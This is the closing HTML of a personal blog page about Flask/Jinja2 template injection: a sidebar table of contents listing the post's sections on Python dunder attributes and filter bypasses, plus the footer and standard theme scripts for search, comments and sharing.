              <a href="https://creativecommons.org/licenses/by-nc-sa/4.0/" class="cc-opacity" target="_blank">
                <img src="/images/cc-by-nc-sa.svg" alt="Creative Commons">
              </a>
            </div>
          

          
          
            <div class="links-of-blogroll motion-element links-of-blogroll-inline">
              <div class="links-of-blogroll-title">
                <i class="fa  fa-fw fa-link"></i>
                LINKS
              </div>
              <ul class="links-of-blogroll-list">
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.baidu.com" title="Baidu" target="_blank">Baidu</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.google.com" title="Google" target="_blank">Google</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.csdn.net" title="CSDN" target="_blank">CSDN</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.bilibili.com" title="Bilibili" target="_blank">Bilibili</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.taobao.com" title="Taobao" target="_blank">Taobao</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.liaoxuefeng.com/wiki/0014316089557264a6b348958f449949df42a6d3a2e542c000" title="Python Learning" target="_blank">Python Learning</a>
                  </li>
                
              </ul>
            </div>
          

          

        </div>
      </section>

      
      <!--noindex-->
        <section class="post-toc-wrap motion-element sidebar-panel sidebar-panel-active">
          <div class="post-toc">

            
              
            

            
              <div class="post-toc-content"><ol class="nav"><li class="nav-item nav-level-1"><a class="nav-link" href="#SSTI"><span class="nav-number">1.</span> <span class="nav-text">SSTI</span></a><ol class="nav-child"><li class="nav-item nav-level-2"><a class="nav-link" href="#模板"><span class="nav-number">1.1.</span> <span class="nav-text">模板</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#SSTI-1"><span class="nav-number">1.2.</span> <span class="nav-text">SSTI</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#本地测试-flask-jinja2"><span class="nav-number">1.3.</span> <span class="nav-text">本地测试(flask + jinja2)</span></a></li></ol></li><li class="nav-item nav-level-1"><a class="nav-link" href="#python-常用内建属性"><span class="nav-number">2.</span> <span class="nav-text">python 常用内建属性</span></a><ol class="nav-child"><li class="nav-item nav-level-2"><a class="nav-link" href="#class"><span class="nav-number">2.1.</span> <span class="nav-text">__class__</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#bases"><span class="nav-number">2.2.</span> <span class="nav-text">__bases__</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#mro"><span class="nav-number">2.3.</span> <span class="nav-text">__mro__</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#subclasses"><span class="nav-number">2.4.</span> <span class="nav-text">__subclasses__()</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#globals"><span class="nav-number">2.5.</span> <span class="nav-text">__globals__</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#builtin-和-builtins"><span class="nav-number">2.6.</span> <span class="nav-text">__builtin__ 和 __builtins__</span></a></li></ol></li><li class="nav-item nav-level-1"><a class="nav-link" href="#flask-ssti-常用的-bypass"><span class="nav-number">3.</span> <span class="nav-text">flask ssti 常用的 bypass</span></a><ol class="nav-child"><li class="nav-item nav-level-2"><a class="nav-link" href="#绕过中括号"><span class="nav-number">3.1.</span> <span class="nav-text">绕过中括号 []</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#利用-getitem-函数"><span class="nav-number">3.1.1.</span> <span class="nav-text">利用 __getitem__()函数</span></a></li></ol></li><li class="nav-item nav-level-2"><a class="nav-link" href="#绕过引号"><span class="nav-number">3.2.</span> <span class="nav-text">绕过引号</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#利用chr-函数"><span class="nav-number">3.2.1.</span> <span class="nav-text">利用chr()函数</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#利用requests对象传参"><span class="nav-number">3.2.2.</span> <span class="nav-text">利用requests对象传参</span></a></li></ol></li><li class="nav-item nav-level-2"><a class="nav-link" href="#绕过下划线"><span class="nav-number">3.3.</span> <span class="nav-text">绕过下划线</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#利用requests对象传参-1"><span class="nav-number">3.3.1.</span> <span class="nav-text">利用requests对象传参</span></a></li></ol></li><li class="nav-item nav-level-2"><a class="nav-link" href="#绕过大括号"><span class="nav-number">3.4.</span> <span class="nav-text">绕过大括号</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#利用控制语句-37-37"><span class="nav-number">3.4.1.</span> <span class="nav-text">利用控制语句{% %}</span></a></li></ol></li><li class="nav-item nav-level-2"><a class="nav-link" href="#同时绕过-大括号-和-下划线"><span class="nav-number">3.5.</span> <span class="nav-text">同时绕过 大括号 和 下划线</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#利用-amp-attr"><span class="nav-number">3.5.1.</span> <span class="nav-text">利用 | &amp; attr()</span></a></li></ol></li></ol></li><li class="nav-item nav-level-1"><a class="nav-link" href="#总结"><span class="nav-number">4.</span> <span class="nav-text">总结</span></a></li></ol></div>
            

          </div>
        </section>
      <!--/noindex-->
      

      

    </div>
  </aside>


        
      </div>
    </main>

    <footer id="footer" class="footer">
      <div class="footer-inner">
        <div class="copyright">&copy; 2018 &mdash; <span itemprop="copyrightYear">2020</span>
  <span class="with-love">
    <i class="fa fa-user"></i>
  </span>
  <span class="author" itemprop="copyrightHolder">AbelChe</span>

  
    <span class="post-meta-divider">|</span>
    <span class="post-meta-item-icon">
      <i class="fa fa-area-chart"></i>
    </span>
    
      <span class="post-meta-item-text">Site words total count&#58;</span>
    
    <span title="Site words total count">43.8k</span>
  
</div>


<!--
  <div class="powered-by">由 <a class="theme-link" target="_blank" href="https://hexo.io">Hexo</a> 强力驱动</div>
-->








        
<div class="busuanzi-count">
  <script async src="https://busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js"></script>

  
    <span class="site-uv">
      <i class="fa fa-user"></i> 访问人数
      <span class="busuanzi-value" id="busuanzi_value_site_uv"></span>
      
    </span>
  

  
    <span class="site-pv">
      <i class="fa fa-eye"></i> 总访问量
      <span class="busuanzi-value" id="busuanzi_value_site_pv"></span>
      次
    </span>
  
</div>








        
      </div>
    </footer>

    
      <div class="back-to-top">
        <i class="fa fa-arrow-up"></i>
        
          <span id="scrollpercent"><span>0</span>%</span>
        
      </div>
    

    
      <div id="needsharebutton-float">
        <span class="btn">
          <i class="fa fa-share-alt" aria-hidden="true"></i>
        </span>
      </div>
    

  </div>

  

<script type="text/javascript">
  if (Object.prototype.toString.call(window.Promise) !== '[object Function]') {
    window.Promise = null;
  }
</script>









  












  
  
    <script type="text/javascript" src="/lib/jquery/index.js?v=2.1.3"></script>
  

  
  
    <script type="text/javascript" src="/lib/fastclick/lib/fastclick.min.js?v=1.0.6"></script>
  

  
  
    <script type="text/javascript" src="/lib/jquery_lazyload/jquery.lazyload.js?v=1.9.7"></script>
  

  
  
    <script type="text/javascript" src="/lib/velocity/velocity.min.js?v=1.2.1"></script>
  

  
  
    <script type="text/javascript" src="/lib/velocity/velocity.ui.min.js?v=1.2.1"></script>
  

  
  
    <script type="text/javascript" src="/lib/fancybox/source/jquery.fancybox.pack.js?v=2.1.5"></script>
  


  


  <script type="text/javascript" src="/js/src/utils.js?v=5.1.4"></script>

  <script type="text/javascript" src="/js/src/motion.js?v=5.1.4"></script>



  
  


  <script type="text/javascript" src="/js/src/affix.js?v=5.1.4"></script>

  <script type="text/javascript" src="/js/src/schemes/pisces.js?v=5.1.4"></script>



  
  <script type="text/javascript" src="/js/src/scrollspy.js?v=5.1.4"></script>
<script type="text/javascript" src="/js/src/post-details.js?v=5.1.4"></script>



  


  <script type="text/javascript" src="/js/src/bootstrap.js?v=5.1.4"></script>



  


  




	





  





  










  <script src="//cdn1.lncld.net/static/js/3.0.4/av-min.js"></script>
  <script src="//unpkg.com/valine/dist/Valine.min.js"></script>
  
  <script type="text/javascript">
    var GUEST = ['nick','mail','link'];
    var guest = 'nick,mail,link';
    guest = guest.split(',').filter(item=>{
      return GUEST.indexOf(item)>-1;
    });
    new Valine({
        el: '#comments' ,
        verify: false,
        notify: false,
        appId: '3dNwvfMcT2yQEr3TkP1gFUbT-gzGzoHsz',
        appKey: 'bjkjOibLdLJcGGrHkTXWeXpA',
        placeholder: 'Just go go',
        avatar:'mm',
        guest_info:guest,
        pageSize:'10' || 10,
    });
  </script>



  

  <script type="text/javascript">
    // Popup Window;
    var isfetched = false;
    var isXml = true;
    // Search DB path;
    var search_path = "search.xml";
    if (search_path.length === 0) {
      search_path = "search.xml";
    } else if (/json$/i.test(search_path)) {
      isXml = false;
    }
    var path = "/" + search_path;
    // monitor main search box;

    var onPopupClose = function (e) {
      $('.popup').hide();
      $('#local-search-input').val('');
      $('.search-result-list').remove();
      $('#no-result').remove();
      $(".local-search-pop-overlay").remove();
      $('body').css('overflow', '');
    }

    function proceedsearch() {
      $("body")
        .append('<div class="search-popup-overlay local-search-pop-overlay"></div>')
        .css('overflow', 'hidden');
      $('.search-popup-overlay').click(onPopupClose);
      $('.popup').toggle();
      var $localSearchInput = $('#local-search-input');
      $localSearchInput.attr("autocapitalize", "none");
      $localSearchInput.attr("autocorrect", "off");
      $localSearchInput.focus();
    }

    // search function;
    var searchFunc = function(path, search_id, content_id) {
      'use strict';

      // start loading animation
      $("body")
        .append('<div class="search-popup-overlay local-search-pop-overlay">' +
          '<div id="search-loading-icon">' +
          '<i class="fa fa-spinner fa-pulse fa-5x fa-fw"></i>' +
          '</div>' +
          '</div>')
        .css('overflow', 'hidden');
      $("#search-loading-icon").css('margin', '20% auto 0 auto').css('text-align', 'center');

      $.ajax({
        url: path,
        dataType: isXml ? "xml" : "json",
        async: true,
        success: function(res) {
          // get the contents from search data
          isfetched = true;
          $('.popup').detach().appendTo('.header-inner');
          var datas = isXml ? $("entry", res).map(function() {
            return {
              title: $("title", this).text(),
              content: $("content",this).text(),
              url: $("url" , this).text()
            };
          }).get() : res;
          var input = document.getElementById(search_id);
          var resultContent = document.getElementById(content_id);
          var inputEventFunction = function() {
            var searchText = input.value.trim().toLowerCase();
            var keywords = searchText.split(/[\s\-]+/);
            if (keywords.length > 1) {
              keywords.push(searchText);
            }
            var resultItems = [];
            if (searchText.length > 0) {
              // perform local searching
              datas.forEach(function(data) {
                var isMatch = false;
                var hitCount = 0;
                var searchTextCount = 0;
                var title = data.title.trim();
                var titleInLowerCase = title.toLowerCase();
                var content = data.content.trim().replace(/<[^>]+>/g,"");
                var contentInLowerCase = content.toLowerCase();
                var articleUrl = decodeURIComponent(data.url);
                var indexOfTitle = [];
                var indexOfContent = [];
                // only match articles with not empty titles
                if(title != '') {
                  keywords.forEach(function(keyword) {
                    function getIndexByWord(word, text, caseSensitive) {
                      var wordLen = word.length;
                      if (wordLen === 0) {
                        return [];
                      }
                      var startPosition = 0, position = [], index = [];
                      if (!caseSensitive) {
                        text = text.toLowerCase();
                        word = word.toLowerCase();
                      }
                      while ((position = text.indexOf(word, startPosition)) > -1) {
                        index.push({position: position, word: word});
                        startPosition = position + wordLen;
                      }
                      return index;
                    }

                    indexOfTitle = indexOfTitle.concat(getIndexByWord(keyword, titleInLowerCase, false));
                    indexOfContent = indexOfContent.concat(getIndexByWord(keyword, contentInLowerCase, false));
                  });
                  if (indexOfTitle.length > 0 || indexOfContent.length > 0) {
                    isMatch = true;
                    hitCount = indexOfTitle.length + indexOfContent.length;
                  }
                }

                // show search results

                if (isMatch) {
                  // sort index by position of keyword

                  [indexOfTitle, indexOfContent].forEach(function (index) {
                    index.sort(function (itemLeft, itemRight) {
                      if (itemRight.position !== itemLeft.position) {
                        return itemRight.position - itemLeft.position;
                      } else {
                        return itemLeft.word.length - itemRight.word.length;
                      }
                    });
                  });

                  // merge hits into slices

                  function mergeIntoSlice(text, start, end, index) {
                    var item = index[index.length - 1];
                    var position = item.position;
                    var word = item.word;
                    var hits = [];
                    var searchTextCountInSlice = 0;
                    while (position + word.length <= end && index.length != 0) {
                      if (word === searchText) {
                        searchTextCountInSlice++;
                      }
                      hits.push({position: position, length: word.length});
                      var wordEnd = position + word.length;

                      // move to next position of hit

                      index.pop();
                      while (index.length != 0) {
                        item = index[index.length - 1];
                        position = item.position;
                        word = item.word;
                        if (wordEnd > position) {
                          index.pop();
                        } else {
                          break;
                        }
                      }
                    }
                    searchTextCount += searchTextCountInSlice;
                    return {
                      hits: hits,
                      start: start,
                      end: end,
                      searchTextCount: searchTextCountInSlice
                    };
                  }

                  var slicesOfTitle = [];
                  if (indexOfTitle.length != 0) {
                    slicesOfTitle.push(mergeIntoSlice(title, 0, title.length, indexOfTitle));
                  }

                  var slicesOfContent = [];
                  while (indexOfContent.length != 0) {
                    var item = indexOfContent[indexOfContent.length - 1];
                    var position = item.position;
                    var word = item.word;
                    // cut out 100 characters
                    var start = position - 20;
                    var end = position + 80;
                    if(start < 0){
                      start = 0;
                    }
                    if (end < position + word.length) {
                      end = position + word.length;
                    }
                    if(end > content.length){
                      end = content.length;
                    }
                    slicesOfContent.push(mergeIntoSlice(content, start, end, indexOfContent));
                  }

                  // sort slices in content by search text's count and hits' count

                  slicesOfContent.sort(function (sliceLeft, sliceRight) {
                    if (sliceLeft.searchTextCount !== sliceRight.searchTextCount) {
                      return sliceRight.searchTextCount - sliceLeft.searchTextCount;
                    } else if (sliceLeft.hits.length !== sliceRight.hits.length) {
                      return sliceRight.hits.length - sliceLeft.hits.length;
                    } else {
                      return sliceLeft.start - sliceRight.start;
                    }
                  });

                  // select top N slices in content

                  var upperBound = parseInt('1');
                  if (upperBound >= 0) {
                    slicesOfContent = slicesOfContent.slice(0, upperBound);
                  }

                  // highlight title and content

                  function highlightKeyword(text, slice) {
                    var result = '';
                    var prevEnd = slice.start;
                    slice.hits.forEach(function (hit) {
                      result += text.substring(prevEnd, hit.position);
                      var end = hit.position + hit.length;
                      result += '<b class="search-keyword">' + text.substring(hit.position, end) + '</b>';
                      prevEnd = end;
                    });
                    result += text.substring(prevEnd, slice.end);
                    return result;
                  }

                  var resultItem = '';

                  if (slicesOfTitle.length != 0) {
                    resultItem += "<li><a href='" + articleUrl + "' class='search-result-title'>" + highlightKeyword(title, slicesOfTitle[0]) + "</a>";
                  } else {
                    resultItem += "<li><a href='" + articleUrl + "' class='search-result-title'>" + title + "</a>";
                  }

                  slicesOfContent.forEach(function (slice) {
                    resultItem += "<a href='" + articleUrl + "'>" +
                      "<p class=\"search-result\">" + highlightKeyword(content, slice) +
                      "...</p>" + "</a>";
                  });

                  resultItem += "</li>";
                  resultItems.push({
                    item: resultItem,
                    searchTextCount: searchTextCount,
                    hitCount: hitCount,
                    id: resultItems.length
                  });
                }
              })
            };
            if (keywords.length === 1 && keywords[0] === "") {
              resultContent.innerHTML = '<div id="no-result"><i class="fa fa-search fa-5x" /></div>'
            } else if (resultItems.length === 0) {
              resultContent.innerHTML = '<div id="no-result"><i class="fa fa-frown-o fa-5x" /></div>'
            } else {
              resultItems.sort(function (resultLeft, resultRight) {
                if (resultLeft.searchTextCount !== resultRight.searchTextCount) {
                  return resultRight.searchTextCount - resultLeft.searchTextCount;
                } else if (resultLeft.hitCount !== resultRight.hitCount) {
                  return resultRight.hitCount - resultLeft.hitCount;
                } else {
                  return resultRight.id - resultLeft.id;
                }
              });
              var searchResultList = '<ul class=\"search-result-list\">';
              resultItems.forEach(function (result) {
                searchResultList += result.item;
              })
              searchResultList += "</ul>";
              resultContent.innerHTML = searchResultList;
            }
          }

          if ('auto' === 'auto') {
            input.addEventListener('input', inputEventFunction);
          } else {
            $('.search-icon').click(inputEventFunction);
            input.addEventListener('keypress', function (event) {
              if (event.keyCode === 13) {
                inputEventFunction();
              }
            });
          }

          // remove loading animation
          $(".local-search-pop-overlay").remove();
          $('body').css('overflow', '');

          proceedsearch();
        }
      });
    }

    // handle and trigger popup window;
    $('.popup-trigger').click(function(e) {
      e.stopPropagation();
      if (isfetched === false) {
        searchFunc(path, 'local-search-input', 'local-search-result');
      } else {
        proceedsearch();
      };
    });

    $('.popup-btn-close').click(onPopupClose);
    $('.popup').click(function(e){
      e.stopPropagation();
    });
    $(document).on('keyup', function (event) {
      var shouldDismissSearchPopup = event.which === 27 &&
        $('.search-popup').is(':visible');
      if (shouldDismissSearchPopup) {
        onPopupClose();
      }
    });
  </script>





  

  

  
<script>
(function(){
    var bp = document.createElement('script');
    var curProtocol = window.location.protocol.split(':')[0];
    if (curProtocol === 'https') {
        bp.src = 'https://zz.bdstatic.com/linksubmit/push.js';        
    }
    else {
        bp.src = 'http://push.zhanzhang.baidu.com/push.js';
    }
    var s = document.getElementsByTagName("script")[0];
    s.parentNode.insertBefore(bp, s);
})();
</script>


  
  
  
  <link rel="stylesheet" href="/lib/needsharebutton/needsharebutton.css">

  
  
  <script src="/lib/needsharebutton/needsharebutton.js"></script>

  <script>
    
    
      flOptions = {};
      
          flOptions.iconStyle = "box";
      
          flOptions.boxForm = "horizontal";
      
          flOptions.position = "middleRight";
      
          flOptions.networks = "Weibo,Douban,QQZone,Twitter,Facebook";
      
      new needShareButton('#needsharebutton-float', flOptions);
    
  </script>

  

  

  
  <script type="text/javascript" src="/js/src/js.cookie.js?v=5.1.4"></script>
  <script type="text/javascript" src="/js/src/scroll-cookie.js?v=5.1.4"></script>


  
  <script type="text/javascript" src="/js/src/exturl.js?v=5.1.4"></script>


</body>
</html>
